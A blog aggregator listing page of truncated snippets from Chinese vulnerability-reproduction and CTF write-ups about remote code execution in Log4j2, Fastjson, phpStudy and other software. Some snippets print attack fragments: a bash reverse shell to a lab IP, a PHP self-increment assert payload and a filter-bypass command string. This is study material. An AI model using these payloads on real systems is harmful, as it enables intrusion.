rce

[wp]NewStarCTF 2023 WEEK5|WEB

前言:比赛是结束了，但我的学习还未结束，看看自己能复习几道题吧，第四周实在太难Final考点：ThinkPHP5.0.23RCE+一句话木马上传+SUID提权（find）解题:首先页面就给了ThinkPHPV5
文大。·2023-11-08 16:22

MacX DVD Ripper Pro for Mac用户指南：如何使用最新的版权保护措施翻录DVD？

它删除了CSS加密，SonyARccOS，RCE区域保护，UOP，CPRM以及迪士尼新的DVD复制保护，并有助于在翻录DVD之前为您选择正确的标题。您也可以手动选择DVD标题（可选）。1.首先使用
Mac小助手·2023-11-08 11:10

python 编写 phpstudy_2016 EXP 漏洞利用脚本之RCE

EXP(Exploit)渗透、攻击；完整的漏洞利用工具RCE(RemoteCode|CommandExecute)*漏洞的类型*在远程目标上执行代码或命令手工验证漏洞的问题：效率准确性针对RCE漏洞开发
ZS_zsx·2023-11-08 09:17

Fastjson 1.2.47 RCE漏洞复现

一、漏洞特征Fastjson提供了autotype功能，允许用户在反序列化数据中通过“@type”指定反序列化的类型，Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法，那么当组件开启了autotype功能并且反序列化不可信数据时，攻击者可以构造数据，使目标应用的代码执行流程进入特定类的特定setter或者getter方法中，若指定类的指定方法中有可被恶意
只为了拿0day·2023-11-08 05:02

漏洞复现——log4j2-rce（CVE-2021-44228）

一、漏洞介绍漏洞名称：ApacheLog4j2远程代码执行漏洞组件名称：ApacheLog4j2截止2021年1210，受影响的Apachelog4j2版本：2.0≤ApacheLog4j&/dev/tcp/ip/port0>&1此处的ip为192.168.3.3，port可使用任意未被占用的端口，此处指定为5555即bash-i>&/dev/tcp/192.168.3.3/55550>&1对其进
小林话安全·2023-11-08 05:30

[漏洞复现]log4j漏洞RCE(CVE-2021-44228)

文章源自于个人博客:http://vfree.ltd/前言2021/12/09，阿里云安全团队向apache报告了由log4j日志引起的远程代码执行，12月10日，当天白帽跟提前过大年似的，疯狂刷src(利用超级简单)，让部分src平台暂时停止收类似该漏洞，凌晨，很多程序员和安全员被迫起来应急响应，几乎市面上的大厂都受到了该漏洞的影响这里做一个复现学习的小文章，由于对java这方面的知识雀食是薄弱
v.FREE·2023-11-08 05:30

CVE-2021-44228——Log4j2-RCE漏洞复现

漏洞介绍ApacheLog4j2是一个基于java的日志记录工具。由于ApacheLog4j2某些功能存在递归解析功能，攻击者可直接构造恶意请求，触发远程代码执行漏洞。漏洞利用无需特殊配置，经阿里云安全团队验证，ApacheStruts2、ApacheSolr、ApacheDruid、ApacheFlink等均受影响。影响版本ApacheLog4j22.0-beta9-2.15.0（不包括安全版本
Li-D·2023-11-08 05:00

vulfocus Apache log4j2-RCE 漏洞复现（CVE-2021-44228）

根据提示，漏洞存在于http://xxxxx/hello的payload参数中，并以post的方式传参，因此我们可以利用hackerbar进行漏洞验证创建靶场后是这样一个页面。使用payload验证，发现可以触发dnslog，可以确认可以利用证明存在JNDI注入漏洞。在这里我们需要用到JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar来生成payload，建立1
kb2414·2023-11-08 05:56

log4j2-rce漏洞复现(CVE-2021-44228)

漏洞介绍ApacheLog4j2是一个Java的日志组件，在特定的版本中由于其启用了lookup功能，从而导致产生远程代码执行漏洞。影响版本：ApacheLog4j22.0-beta9-2.15.0（不包括安全版本2.12.2、2.12.3和2.3.1）漏洞编号：CVE-2021-44228漏洞复现利用vulfocus搭建并启动靶场DNSLog验证通过DNSLogPlatform平台获取到域名sk
Z_l123·2023-11-08 05:49

CVE-2021-44228:Apache Log4j RCE

文章前言本篇文章我们主要介绍关于CVE-2021-44228:ApacheLog4jRCE漏洞的自检与修复，帮助甲方人员尽快修复项目中存在的不安全依赖漏洞概述ApacheLog4j2是⼀个基于Java的⽇志记录⼯具，该⼯具重写了Log4j框架，并且引⼊了⼤量丰富的特性，该⽇志框架被⼤量⽤于业务系统开发，⽤来记录⽇志信息，⼤多数情况下，开发者可能会将⽤户输⼊导致的错误信息写⼊⽇志中，由于Apache
FLy_鹏程万里·2023-11-08 05:15

log4j CVE-2021-44228 RCE漏洞复现

一、漏洞特征ApacheLog4j是Apache的一个开源项目，ApacheLog4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架，并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等，通过定义每一条日志信息的级别，能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发，用来记录日志信息。影响版本：ApacheLog4j2.x&/de
只为了拿0day·2023-11-08 05:45

渗透实战靶机2wp

2021.7.22-2021.7.22测试人员：ruanruan2、测试过程本次实战主要通过对收集到的端口、目录等信息进行持续整合分析，再对目标系统进行tomcat弱口令、ghostcat文件读取、struts2RCE
0nc3·2023-11-08 03:38

Apache Jackrabbit 中存在严重的RCE漏洞

聚焦源代码安全，网罗国内外最新资讯！编译：代码卫士Java平台的开源内容仓库ApacheJackrabbit中存在一个严重的远程代码执行漏洞(CVE-2023-37895)，可使攻击者利用RMI实现中一个Java对象反序列化问题在易受攻击系统上远程执行代码。ApacheJackrabbit是JavaTechnologyAPI(JCR)的内容仓库实现，是管理仓库内容的综合性平台。它具有强大的能力如结
奇安信代码卫士·2023-11-07 21:40

关于Apache Kafka 反序列化漏洞（CVE-2023-25194）

当类路径中有小工具时，攻击者可以造成不可信数据的无限制反序列化（或）RCE漏洞。漏洞编号：CV
sandfeng·2023-11-07 21:10

Apache Log4j2 RCE 远程命令执行漏洞复现与分析

0x00漏洞描述2021年12月10日，国家信息安全漏洞共享平台（CNVD）收录了ApacheLog4j2远程代码执行漏洞（CNVD-2021-95914）。攻击者利用该漏洞，可在未授权的情况下远程执行代码。目前，漏洞利用细节已公开，Apache官方已发布补丁修复该漏洞。ApacheLog4j2是一个基于Java的日志记录组件，该日志组件被广泛应用于业务系统开发，用以记录程序输入输出日志信息，得益
angry_program·2023-11-07 21:38

CVE-2023-34040 Kafka 反序列化RCE

漏洞描述SpringKafka是SpringFramework生态系统中的一个模块，用于简化在Spring应用程序中集成ApacheKafka的过程，记录(record)指Kafka消息中的一条记录。受影响版本中默认未对记录配置ErrorHandlingDeserializer，当用户将容器属性checkDeserExWhenKeyNull或checkDeserExWhenValueNull设置为
蚁景网络安全·2023-11-07 21:05

fastjson 1.2.24 rce漏洞复现

一、漏洞特征fastjson是阿里巴巴的开源JSON解析库，它可以解析JSON格式的字符串，支持将JavaBean序列化为JSON字符串，也可以从JSON字符串反序列化到JavaBean。即fastjson的主要功能就是将JavaBean序列化成JSON字符串，这样得到字符串之后就可以通过数据库等方式进行持久化了。阿里巴巴公司开源Java开发组件Fastjson存在反序列化漏洞（CNVD-2022
只为了拿0day·2023-11-06 19:41

CVE-2023-34040 Kafka 反序列化RCE

漏洞描述SpringKafka是SpringFramework生态系统中的一个模块，用于简化在Spring应用程序中集成ApacheKafka的过程，记录(record)指Kafka消息中的一条记录。受影响版本中默认未对记录配置ErrorHandlingDeserializer，当用户将容器属性checkDeserExWhenKeyNull或checkDeserExWhenValueNull设置为
合天网安实验室·2023-11-05 17:26

CVE-2023-21839 weblogic rce漏洞复现

文章目录一、漏洞影响版本二、漏洞验证三、启动反弹shell监听切换路径到jdk1.8四、启动ldap服务五、使用CVE-2023-21839工具来进行攻击测试六、反弹shell一、漏洞影响版本CVE-2023-21839是Weblogic产品中的远程代码执行漏洞，由于WeblogicIIOP/T3协议存在缺陷，当IIOP/T3协议开启时，允许未经身份验证的攻击者通过IIOP/T3协议网络访问攻击存
只为了拿0day·2023-11-05 14:03

Node.js 反序列化漏洞(CVE-2017-5941)

node-serialize的序列化/反序列化模块的unserialize()函数中payloadtest.jsvarserialize=require('node-serialize');varpayload='{"rce
鸡翅儿·2023-11-05 06:00

3000 台 Apache ActiveMQ 服务器易受 RCE 攻击

超过三千个暴露在互联网上的ApacheActiveMQ服务器容易受到最近披露的关键远程代码执行(RCE)漏洞的影响。
网络研究院·2023-11-05 06:27

XXL-JOB 默认 accessToken 身份绕过导致 RCE

文章目录0x01漏洞介绍0x02影响版本0x03环境搭建0x04漏洞复现第一步访问页面返回报错信息第二步执行POC,进行反弹shell第三步获取shell0x05修复建议摘抄免责声明0x01漏洞介绍XXL-JOB是一款开源的分布式任务调度平台，用于实现大规模任务的调度和执行。XXL-JOB默认配置下，用于调度通讯的accessToken不是随机生成的，而是使用application.propert
星球守护者·2023-11-04 23:28

【漏洞复现】Fastjson_1.2.47_rce

感谢互联网提供分享知识与智慧，在法治的社会里，请遵守有关法律法规文章目录1.1、漏洞描述1.2、漏洞等级1.3、影响版本1.4、漏洞复现1、基础环境2、漏洞检测3、漏洞验证1.5、深度利用1、反弹Shell说明内容漏洞编号漏洞名称Fastjson_1.2.47_远程执行漏洞漏洞评级影响范围漏洞描述修复方案1.1、漏洞描述Fastjson是阿里巴巴公司开源的一款json解析器，其性能优越，被广泛应用
过期的秋刀鱼-·2023-11-04 18:36

NUUO网络摄像头(NVR)RCE漏洞复现

简介NUUONetworkVideoRecorder（NVR）是中国台湾NUUO公司的一款网络视频记录器。NUUONVR视频存储管理设备的__debugging_center_utils___.php文件存在未授权远程命令执行漏洞，攻击者可在没有任何权限的情况下通过log参数执行任意命令。漏洞复现FOFA语法：title="NetworkVideoRecorderLogin"访问页面如下，不同版本
Ling-cheng·2023-11-03 23:16

D-Link (CVE-2020-24581/24579) RCE漏洞复现

简介D-LinkDSL-2888AAU_2.31_V1.1.47ae55之前版本漏洞源于包含一个executecmd.cgi特性、该特性允许经过身份验证的用户执行操作系统命令，在该版本固件中同时存在着一个不安全认证漏洞（CVE-2020-24580），在登录界面输入任意密码就可以成功访问路由器界面，组合这两个漏洞以实现未授权的任意代码执行。fofabody="DSL-2888A"影响范围AU_2.
Ling-cheng·2023-11-03 23:46

XXL-JOB默认accessToken身份绕过RCE漏洞复现 [附POC]

文章目录XXL-JOB默认accessToken身份绕过RCE漏洞复现[附POC]0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现XXL-JOB
gaynell·2023-11-03 20:00

phpstudy_2016-2018_rce_backdoor 漏洞复现

phpstudy_2016-2018_rce_backdoor漏洞复现RemoteCommandExecute打开bp打开代理浏览器访问php页面回到bp查看http历史，找到刚刚访问的php页面发送到
gjl_·2023-11-03 12:59

phpstudy_2016-2018_rce_hackdoor利用脚本

漏洞复现phpstudy使用2016-2018版本，打开burpsuite中自带的浏览器访问phpinfo.php,将数据包发送到repeater模块漏洞验证将Accept-Encoding字段中deflate前的空格删掉，如下Accept-Encoding:gzip,deflate添加Accept-Charset字段及内容，其中内容为system('命令');并进行base64编码。如下Acce
weixin_52963334·2023-11-03 12:59

phpstudy_2016-2018_rce漏洞检验

文章目录phpstudy_2016-2018_rce漏洞复现phpstudy_2016-2018_rce漏洞检验脚本针对RCE漏洞开发EXP常见的RCE漏洞:phpstudy_2016-2018_rceseacms
小菜鸟§·2023-11-03 12:29

PHP常见后门修复,phpStudy后门RCE，复现/批量脚本/修复

近日被爆出phpStudy存在RCE后门，并通过验证复现。软件作者声明：phpstudy2016版PHP5.4存在后门。实际测试官网下载phpstudy2018版php-5.2.1
爱吃土豆Yur·2023-11-03 12:58

PHPstudy_2016-2018_RCE 漏洞复现

RCE(RemoteCommand|CodeExecute)说明内容漏洞编号phpstudy_2016-2018_rce漏洞名称RCE(RemoteCommand|CodeExecute)漏洞评级高危影响范围
长安十三朝❀·2023-11-03 12:56

PhpStudy2016-2018-RCE 漏洞复现

漏洞描述PHPStudyRCE（RemoteCodeExecution），也称为phpstudy_backdoor漏洞，是指PHPStudy软件中存在的一个远程代码执行漏洞。漏洞影响范围Phpstudy软件是国内的一款免费的PHP调试环境的程序集成包，通过集成Apache、PHP、MySQL、phpMyAdmin等多款软件一次性安装，无需配置即可直接安装使用，一键搭建。其中2016、2018版本的
故事讲予风听·2023-11-03 12:56

phpstudy_2016-2018_rce_backdoor后门漏洞复现

phpstudy_2016-2018_rce_backdoor复现漏洞描述攻击者可以利用该漏洞执行PHP命令，也可以称作phpStudy后门。
order libra·2023-11-03 12:26

关于一次真实的渗透测试案例之phpstudy_rce

0x01漏洞简介2019年9月20日，网上传出phpStudy软件存在后门，随后作者立即发布声明进行澄清，其真实情况是该软件官网于2016年被非法入侵，程序包自带PHP的php_xmlrpc.dll模块被植入隐藏后门，经过分析除了有反向连接木马之外，还可以正向执行任意php代码。0x02影响版本版本phpStudy2016-php-5.2.17--phpStudy2016-php-5.4.45ph
出顾茅庐·2023-11-03 12:25

phpstudy_2016_RCE 漏洞复现以及exp编写

RCE漏洞phpstudy漏洞复现编写expRCE漏洞RCE(远程代码执行漏洞)，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
睡了有点困·2023-11-03 12:54

phpstudy_2016-2018_rce漏洞复现

前言强如phpstudy也会有漏洞，在当时影响蛮大的，今天那就试着来复现一下这个漏洞一.漏洞描述RCE漏洞，攻击者可以利用该漏洞执行PHP命令和执行代码，从而控制用户系统，也可以称作phpStudy后门
tacokings·2023-11-03 12:53

phpstudy_2016-2018_rce 漏洞复现及深度利用

说明内容漏洞编号phpstudy_2016-2018_rce漏洞名称RCE(RemoteCommand|CodeExecute)漏洞评级高危影响范围phpStudy2016phpStudy2018漏洞描述攻击者可以利用该漏洞执行
王志德发·2023-11-03 12:53

PhpStudy_2016-2018_RCE漏洞复现

漏洞说明说明内容漏洞名称RCE（RemoteCommand|CodeExecute）漏洞编号PhpStudy_2016-2018_rce漏洞等级高危影响范围PhpStudy2016-2018漏洞描述攻击者可以利用此漏洞实现命令执行
L尘痕·2023-11-03 12:21

phpstudy_2016-2018_rce

phpstudy_2016-2018_rce代码importbase64importrequestsimportsysbanner="""PHPStudy_2016-2018()()()||______
order libra·2023-11-03 12:50

云尘-Acid

然后最后扫下来Challenge/Magic_Box/command.php发现了这个目录这不就ctf的ping的rce么直接执行命令看看这里如果我们需要反弹shell就需要通过bp的url编码;php-r
双层小牛堡·2023-11-02 12:30

漏洞复现--企望制造ERP系统 RCE

免责声明：文章中涉及的漏洞均已修复，敏感信息均已做打码处理，文章仅做经验分享用途，切勿当真，未授权的攻击属于非法行为！文章中敏感信息均已做多层打马处理。传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任，一旦造成后果请自行负一：漏洞描述企望制造ERP系统是畅捷通公司开发的一款领先的生产管理系统，它以集成化管理为核心设计理念，通过模块化机制，
芝士土包鼠·2023-11-01 11:54

Apache ActiveMQ (版本 ＜ 5.18.3) (CNVD-2023-69477)RCE修复方案/缓解方案

一、漏洞描述ApacheActiveMQ是美国阿帕奇（Apache）基金会的一套开源的消息中间件，它支持Java消息服务、集群、SpringFramework等。二、漏洞成因ActiveMQ默认开放了61616端口用于接收OpenWire协议消息，由于针对异常消息的处理存在反射调用逻辑，攻击者可能通过构造恶意的序列化消息数据加载恶意类，执行任意代码。三、影响范围影响版本：ApacheActiveM
Z4c要加油·2023-11-01 05:23

NSSCTF Round#4

1zweb打开界面感觉这道题和上一个一样，有查询文件的功能，直接查询flag，签到提ez_rce打开界面各种看，源码啥都没有然后抓包看一下配置，搜一下有，2.4.49有目录遍及的漏洞，和以前做的一道题几乎一样远程代码执行
偶尔躲躲乌云334·2023-11-01 04:17

SHCTF-校外赛道 2023 WEB部分题解wp（）

rce=ls%09/?rce=uniq%09/fla?
Jay 17·2023-10-31 21:16

【漏洞复现】酒店宽带运营系统RCE

漏洞描述安美数字酒店宽带运营系统server_ping.php远程命令执行漏洞免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失，均由使用者本人负责。本文所提供的工具仅用于学习，禁止用于其他！！资产确定F
丢了少年失了心1·2023-10-31 17:19

[SWPUCTF 2021 新生赛]hardrce_3 无字母rce 自增

这里是过滤了取反等符号所以考虑自增小伙子只会异或和取反？不好意思哦LTLT说不能用！！这里直接可以在之前ctfshow的yu师傅那边拿payload因为都是，assert($_POST[_]);$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__
双层小牛堡·2023-10-31 15:13

QVD-2023-19300：致远M1 usertokenservice反序列化RCE漏洞复现

文章目录致远M1usertokenservice反序列化RCE漏洞(QVD-2023-19300)复现0x01前言0x02漏洞描述0x03影响版本0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造
gaynell·2023-10-31 13:49

pikachu靶场通关(下)

第五关：RCE5.1exec"ping"一、什么是RCE？RCE漏洞，可以让攻击者直接向后台服务器远程注入操作系统命令或者代码，从而控制后台系统。
幕溪WM·2023-10-31 12:22

CTFHub-Web-RCE-命令注入

目录知识点一、命令注入-无过滤二、命令注入-过滤cat三、命令注入-过滤空格四、命令注入-过滤目录分隔符五、命令注入-过滤运算符六、命令注入-综合过滤练习1、查看源代码2、绕过思路知识点1、常见的拼接符1、A;B先执行A，再执行B2、A&B简单的拼接3、A|B显示B的执行结果4、A&&BA执行成功之后才会执行B5、A||BA执行失败之后才会执行B,在特殊情况下可代替空格2、常见的命令（1）、Win
star-R·2023-10-31 11:08

NSSCTF 2nd Web 题目复现

.(/.最好用url编码)然后上传成功即可连shell或者rce这里介
文大。·2023-10-31 03:28
上一页 4 5 6 7 8 9 10 11 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他